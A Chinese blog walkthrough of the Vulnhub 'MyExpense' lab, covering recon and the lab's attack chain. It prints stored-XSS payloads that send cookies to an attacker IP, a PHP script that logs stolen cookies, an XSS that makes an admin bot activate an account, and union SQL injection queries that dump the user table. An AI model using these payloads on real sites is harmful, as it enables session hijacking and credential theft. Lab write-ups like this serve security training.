Vulnhub-MyExpense: 1-Writeup(完)

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

靶机网址:

https://www.vulnhub.com/entry/myexpense-1,405/

靶机知识点:

  • nmap
  • xss stored
  • dirb
  • union sql injection

靶机ip 192.168.34.157
kali ip 192.168.34.80

靶机描述

MyExpense是一个故意存在漏洞的Web应用程序,它使您可以训练如何检测和利用不同的Web漏洞。与更传统的“挑战”应用程序(允许您训练单个特定漏洞)不同,MyExpense包含一组漏洞,您需要利用这些漏洞来实现整个方案。
情境
您是“ Samuel Lamotte”,而您刚被公司“ Furtura Business Informatique”开除。不幸的是,由于您匆忙离开,您没有时间验证您的上一次商务旅行的费用报告,该报告仍为750欧元,对应于飞往您的最后一个客户的返程航班。
由于担心您的前雇主可能不想为您退还该费用报告,因此您决定入侵名为“ MyExpense”的内部应用程序来管理员工费用报告。
这样您就可以在汽车上,公司停车场中并且连接到内部Wi-Fi(出发后钥匙仍未更改)。该应用程序受用户名/密码验证保护,您希望管理员尚未修改或删除您的访问权限。
您的凭据是:samuel / fzghn4lw
挑战完成后,该标志将在与您的(samuel)帐户连接时显示在应用程序上。

信息收集

nmap -sV -p- 192.168.34.157

在这里插入图片描述
访问80端口,

在这里插入图片描述

dirb http://192.168.34.157/

在这里插入图片描述
访问robots.txt

在这里插入图片描述
有一个admin/admin.php。访问看看

在这里插入图片描述
右上角有一个注册用户的链接,

在这里插入图片描述

随便注册了一个,发现按钮不能点击,修改源码,删掉disabled后,注册用户。
在这里插入图片描述
在这里插入图片描述
会发现这个用户会显示在admin/admin.php

在这里插入图片描述

这里显示到了admin.php中,说明这个可能连接到了数据库,并且把注册的用户插入到数据库中,并且在admin.php中显示出来

漏洞利用

这里第一个思路就是xss了。存储型xss。
我们的目标是激活那个账户。然后登录使用账号密码登录它。

自己构造xss语句和接收脚本

<script>document.write('<img src="http://192.168.34.80/1.php?cmd='+document.cookie+'" width=0 height=0 border=0 />');</script>
<?php
$a = $_GET['cmd'];
file_put_contents("1.txt",$a."\n",FILE_APPEND);
?>

然后在注册页面插入payload。我插入到了firstname,提交,

在这里插入图片描述
多了一个用户,并且firstname为空,说明我们语句执行成功了。
在这里插入图片描述
然后看下kali。

在这里插入图片描述
我现在尝试使用管理员的cookie:PHPSESSID=lq01sl79rjuqhfcgo9tsb3eek1,去激活samuel用户,点击激活按钮,抓包修改cookie。
在这里插入图片描述

在这里插入图片描述
发送,得到提示:作为一个管理员,在同一时间只能被认证一次,从这里可以看出,后台有脚本在跑这个页面,并且使用的管理员账号,从这里可以看出上面那个cookie是管理员cookie。

在这里插入图片描述
从下图可以看出,脚本在定时(每隔30s)访问admin/admin.php页面
在这里插入图片描述

既然我们不能使用cookie去激活那个账号,那我们就构造xss语句,让后台脚本自动访问该页面时,由管理员自己激活那个账号。点击那个激活按钮后看到提交参数id=11&status=active。所以构造payload如下:

<script>document.write('<img src="http://192.168.34.157/admin/admin.php?id=11&status=active"/>');</script>

点击提交
在这里插入图片描述

成功的变为了激活状态,思路没错。

在这里插入图片描述

然后使用靶机描述里提供的密码:fzghn4lw和admin.php提供的用户名:slamotte登录。

slamotte:fzghn4lw

在这里插入图片描述

登录成功。

在这里插入图片描述

发现了很多东西。看见这就是情景里所说的750欧元吧。点击提交,则会把这个单子提交给自己的经理和财务人员。全部同意后才会得到flag。别问我怎么知道的(没有登录情况下访问首页index.php,有几句英文,翻译下就行)

在这里插入图片描述
在这里插入图片描述

这个用户的经理是Manon

在这里插入图片描述

这里研究了一段时间,发现下面存在xss漏洞

在这里插入图片描述

这里我还是获取cookie,这里我用的是2.php。

<script>document.write('<img src="http://192.168.34.80/2.php?cmd='+document.cookie+'" width=0 height=0 border=0 />');</script>
<?php
$a = $_GET['cmd'];
file_put_contents("2.txt",$a."      ".date('H:i:s')."\n",FILE_APPEND);
?>

提交
在这里插入图片描述
成功写入数据库,并且被解析

在这里插入图片描述
此时看我的kali,发现多了好几个cookie。

一个一个尝试后,会发现有一个是管理员rmasson,还有一个是经理mriviere,还有一个是pgervais,还有一个是nthomas。我这里是这样的。不知道是不是随机用户的cookie。应该不是

cookie是随机的,你们一个一个尝试下
我登录到了经理的cookie。看到了我们的那个750的费用报告

在这里插入图片描述
点击审对勾,就是审核通过了。

在这里插入图片描述

并且看到了经理的经理就是财务人员pbaudouin

在这里插入图片描述

再次回到刚刚的用户,发现已经成为验证的状态。

在这里插入图片描述
只要这个状态成为Sent for payment应该就表示完成这个挑战了

在这里插入图片描述

经过靶机作者给的hint。接下来来获取财务人员的账号密码

现在使用经理cookie登录到经理账号:Manon,访问导航栏的Rennes页面,此时看见提交参数为id=2.

在这里插入图片描述
测试注入

2' and 1=1;#

在这里插入图片描述
发现没有数据,修改payload去掉单引号

id=2 and 1=1;#

在这里插入图片描述
发现页面返回正常,说明这里不是数字型注入。

修改payload为

id=2 and 1=2;#

在这里插入图片描述
发现1=1正常输出,而1=2没有数据,则判断这里存在注入点。

使用order by 确定字段数为4.

id=2 order by 4

使用联合查询爆表

id=2 union select 1,2,3,4;#

在这里插入图片描述

id=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4;#

在这里插入图片描述

使用联合查询爆字段

看到user表,爆user表字段

id=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user'),3,4;#

在这里插入图片描述

使用联合查询爆数据

发现username,password字段
接下来直接指定用户名为财务人员的账号,查询他的密码。

id=2 union select 1,(select password from user where username='pbaudouin' ),3,4;#

在这里插入图片描述

发现密码为64202ddd5fdea4cc5c2f856efef36e1a
md5解密

在这里插入图片描述

密码为HackMe。
接下来登录财务人员的账号

pbaudouin:HackMe

在这里插入图片描述

访问费用报告页面,发现了750元的费用报告,点击同意。

在这里插入图片描述
选择yes。

在这里插入图片描述
再重新用slamotte用户登录,看到flag。

在这里插入图片描述

欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群

在这里插入图片描述

发布了38 篇原创文章 · 获赞 8 · 访问量 2114

猜你喜欢

转载自blog.csdn.net/qq_41918771/article/details/103568860